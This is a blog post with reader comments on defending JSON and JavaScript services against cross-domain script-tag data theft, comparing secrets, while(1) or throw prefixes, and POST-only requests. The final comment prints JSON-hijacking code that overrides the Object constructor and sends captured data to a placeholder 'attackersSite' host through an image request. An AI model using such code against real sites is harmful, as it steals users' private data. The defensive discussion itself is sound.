<< Good marks for security features in DWR | Home | Java 7 Idea: Extensible Strings >>

How to Protect a JSON or Javascript Service

There have been lots of explanations recently of the dangers of JSON or JavaScript remoting. This post is about what you can do to protect your scripts.

The Problem

The issues have been explained before, so I'm going to assume some knowledge of the problem. If you're not sure, some stuff to read:

The Solutions

So what are the solutions? I think there are 3 options. Each has their pros and cons:

  1. Use a Secret in the Request
  2. Force pre-eval() Processing
  3. Force POST requests

This post is a shortened version of the detailed description of what DWR does If you are interested in the options DWR takes and how you can configure it, you should read page.

1. Use a Secret in the Request

If you can only support one of these protections, this is the one to chose. Including a secret in the request allows the server to reject the request as invalid before any actions take place. It is common to include the secret in the URL, however this is a slightly vulnerable position for a secret since it is likely to turn up in web server log files and so on.

It is possible to use cookie values like PHPSESSIONID or JSESSIONID read using Javascript as the secret. The browsers cross-domain rules should prevent attackers from discovering this cookie. However this method will stop working as people begin to switch to using HttpOnly cookies. So it is better to start with a separate secret.

2. Force pre-eval() Processing

Since <script> tag remoting does not allow you to process the JSON or Javascript before it is eval()ed you can protect your JSON by forcing it to be manipulated before eval(). All 3 of these techniques will prevent your request from being pure JSON, however you may rank security above purity. There are 3 ways to do this:

  • Wrap the JSON in a comment. For example, /* { 'data':'protected' } */. When this is eval()ed, there will be no result, however if you have fetched the data using XHR or iframe, you can do some string manipulation before eval() to remove the leading /* and trailing */.
    This method is good for plain JSON, however if you are using Javascript which could contain /* comments */, then you should not use this technique because comments in Javascript do not nest.
  • Prefix the script with 'while(1);' Since this is an infinite loop, if causes browsers to hang, and maybe give an error message. Either way the script does not get executed.
    There is a potential vulnerability that some browser may allow you to override the action of while using something like this: 'function while() {}'. However I don't know of any such browser.
    Google use this method to protect data in GMail. 'while(1);' is possibly better than 'while(true);' in case there are any browsers that allow you to redefine truth.
  • Prefix the script with 'throw new Error("message");'. This is a neat solution in that it allows you to explain what is wrong to users that get the message by mistake. DWR uses this method.
    It is potentially vulnerable to some browser allowing an attacker to redefine the Error or String constructors to prevent the throw from happening, however this does not work on any browser that I know of, and it's hard to see how it could happen.

3. Force POST Requests

Since browsers use GET to process <script> tags, you can prevent <script> tags from working by denying GET requests for some JavaScript resource. This is the most common solution, however it is also perhaps the weakest.

Firstly XHR-POST doesn't work with older versions of Safari, so some support for GET is often useful.

More importantly future versions of Firefox are touted to include cross-domain XHR support. While we don't have exact knowledge of how this will happen, it would be foolish to base your security plans on this technique holding up.

Finally, we're working in an environment where new possibilities are popping up every day - betting your security on a system that works more by fluke than design isn't a great idea in my opinion.

By default DWR denies POST requests for belt and braces security, however this is customizable to allow support for older versions of Safari.



Re: How to Protect a JSON or Javascript Service

As for hiding a secret in the request, how about doing it via basic HTTP authentication? That will keep URLs sane, and provide a nice log in the server of attempts at access, as well as keep the secret out of the server. HTTP authentication has (rightfully) been avoided in the past because browser UI support is lacking, and because writing a CGI on Apache that does its own authentication seems impossible. However, going over XHR, no UI is needed, and other frameworks are making it possible to programatically send a response code other than "200 OK."

Re: How to Protect a JSON or Javascript Service

I'm trying to wrap my head around how what a DWR response looks like ... isn't the response a text/html mimetype, with a <script> tag that contains the JSON to be eval'ed ? In which case an external <script src="" /> shouldn't be able to parse the payload because it would be: 1) of the wrong mimetype: text/html vs application/x-javascript 2) starts out with a <script> tag which isn't valid executable javascript Or did you find that despite 1) and 2) browsers still manage to parse such payload?

Re: How to Protect a JSON or Javascript Service

DWR's response doesn't have a script tag because it doesn't need one. You are right that if it was there, it would prevent the request from executing. The 'throws' prefix is what we do to stop that happening. DWR operates in many different modes (iframe/xhr/script-tag) so the exact form of the response varies. The most at-risk version is pure Javascript.

Re: How to Protect a JSON or Javascript Service

Do I miss something? If I'm using code like this: var toSteal=[]; var idx=0; function steal(key){ toSteal[key]['killme']=0; } function Object() { var obj = this; var curr = idx++; toSteal[curr] = obj; // define a setter for the killme property this.__defineSetter__('killme', function(x) { for (key in obj) { if (key != 'killme') { //alert('Data stolen from array: ' + key + '=' + obj[key]); document.images[0].src="http://attackersSite:8080/webservice/login?data="+key+":::"+obj[key]; } } }); // Steal the data when the JSON parse is done setTimeout('steal('+curr+')',0); } The: document.images[0].src="http://attackersSite:8080/webservice/login?data="+key+":::"+obj[key]; sends a GET with the JSON data to the attackers Server. I setted up a little web service which handles the GET and writes the the data into a text file. In the text file I can see/read that the JSON data is prefixed with "while(1);". With this information I can use my web service to cut off the "while(1);" before eval() it . Do i missing something or is this possible like i discribe ?

Add a comment Send a TrackBack